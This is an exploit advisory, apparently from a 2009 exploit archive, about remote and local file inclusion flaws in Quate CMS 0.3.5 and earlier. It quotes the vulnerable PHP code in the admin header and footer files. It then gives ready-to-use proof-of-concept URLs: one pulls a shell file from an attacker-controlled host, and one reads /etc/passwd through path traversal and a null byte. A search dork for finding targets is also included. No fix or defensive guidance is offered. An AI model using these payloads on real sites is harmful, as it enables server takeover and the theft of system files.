Quate CMS <= 0.3.5 (RFI/LFI) Multiple Remote Vulnerabilities

[ Discovered by cr4wl3r \ cr4wl3r[4t]linuxmail[dot]org ] ######################################################################## #Quate CMS <= 0.3.5 (RFI/LFI) Multiple Remote Vulnerability #Download Script : http://quate.net/quatecms #Dork : die("lamers attempt"); :P ######################################################################## # #Vuln RFI : ./QuateCMS_035/admin/includes/header.php (line 27) # <?php # if ($bypass_restrict != 1) { # require_once($secure_page_path. "includes/secure.php"); # } # ?> #PoC : http://[target]/[path]/admin/includes/header.php?secure_page_path=http://[attacker]/shell.txt??? # # ######################################################################### # #Vuln LFI : ./QuateCMS_035/admin/includes/footer.php (line 4) # <?PHP # if ($not_logged_in != 1) { # if (file_exists("includes/themes/" .$row_secure['account_theme']. "/footer.php")) { # require_once("themes/" .$row_secure['account_theme']. "/footer.php"); # ?> #PoC : http://[target]/[path]/admin/includes/footer.php?row_secure[account_theme]=../../../../../../etc/passwd%00 # ######################################################################## ######################################################################## ####################[90r0nt4l0 und3r9r0nd c0mmun1ty]#################### ######################################################################## ######################################################################## [ Gorontalo / 2009 ]